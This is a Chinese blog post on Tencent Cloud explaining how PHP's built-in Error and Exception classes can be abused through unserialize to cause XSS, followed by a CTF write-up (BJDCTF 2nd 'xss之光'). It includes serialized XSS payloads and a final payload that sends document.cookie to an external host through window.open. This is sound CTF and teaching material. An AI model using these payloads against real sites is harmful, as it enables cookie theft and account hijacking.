前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈利用php的原生类进行XSS

浅谈利用php的原生类进行XSS

作者头像
ly0n
发布2020-11-04 11:37:01
8680
发布2020-11-04 11:37:01
举报
文章被收录于专栏:ly0nly0n

前言

​ 一般这个知识点出现在ctf竞赛中时会给出反序列化点,但是我们却找不到POP链,无法构造POC。当我们只看到有反序列化点而没有POP链时我们就可以考虑利用php的原生类进行XSS。

PHP原生类

一般我们看到存在反序列化点的时候我们肯定会想到关于php的那些魔法函数,在这里不在一一介绍了,说一下destruct、__ toString __ destruct:当对象销毁时会调用此方法.那么什么时候对象会销毁呢?一是用户主动销毁对象,二是当程序结束时由引擎自动销毁 toString:当对象被当作一个字符串使用时候调用 看标题我们就知道我们是要利用php的原生类进行xss的,但是到底要用到哪几个原生类呢。 这里主要讲两个PHP的内置类:Error和Exception 要注意的点是这两个内置类可以利用的PHP版本不相同,我们在利用时要注意php的版本问题 Error 适用于php7版本 Exception 适用于php5、7版本

Error

Error类是php的一个内置类,用于自动自定义一个Error,因为它内置有一个toString的方法,在php7的环境下可能会造成一个xss漏洞。下面我们可以在本地测试一下。利用方法:

代码语言:javascript
复制
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A30%3A%22%3Cscript%3Ealert%28%27ly0n%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22%2Fmnt%2Fe%2Fphpstudy_pro%2FWWW%2Fphp%2Fphp%2Ferror.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

然后在本地进行访问

可以看到已经成功利用。

Exception

Exception相对于Error来说利用原理时相同的,只不过Exception的应用范围更广一些。 利用方法:

代码语言:javascript
复制
<?php
$a = new Exception("<script>alert('LY0NXSS')</script>");
$b = serialize($a);
echo urlencode($b);
?>

题目解析

在平常刷题的时候见到了一道题目靠考察的就是这个知识点。BJDCTF 2nd xss之光 打开题目就只看到了gungungun

通过扫描目录发现是git泄露,使用Git_Extract下载下来源码

发现有个echo;所以我们最好对有_toString方法的的类进行反序列化;;在 _toString()的原生类反序列化中,常用的是Error和Exception;但是这里Errot只是php7专用,这里我们查看一下题目的环境发现是php5;所以我们只能使用Exception这个原生类。 所以就是对Exception进行反序列化,它的发序列化只能是XSS。

测试之后发现成功利用 原生类构造 payload

代码语言:javascript
复制
<?php
$a = serialize(new Exception('"<script>window.open(\'http://ccb6a72a-69f3-40ef-b14f-96763eebd9c4.node3.buuoj.cn/?\'+document.cookie);</script>'));
echo urlencode($a);
?>

在url中成功得到flag!

参考文章[NPFS师傅]:https://www.cnblogs.com/NPFS/p/13385038.html

当实力不够支撑你的想象时,你就只能更加努力!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-08-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • PHP原生类
    • Error
      • Exception
      • 题目解析
      相关产品与服务
      文件存储
      文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档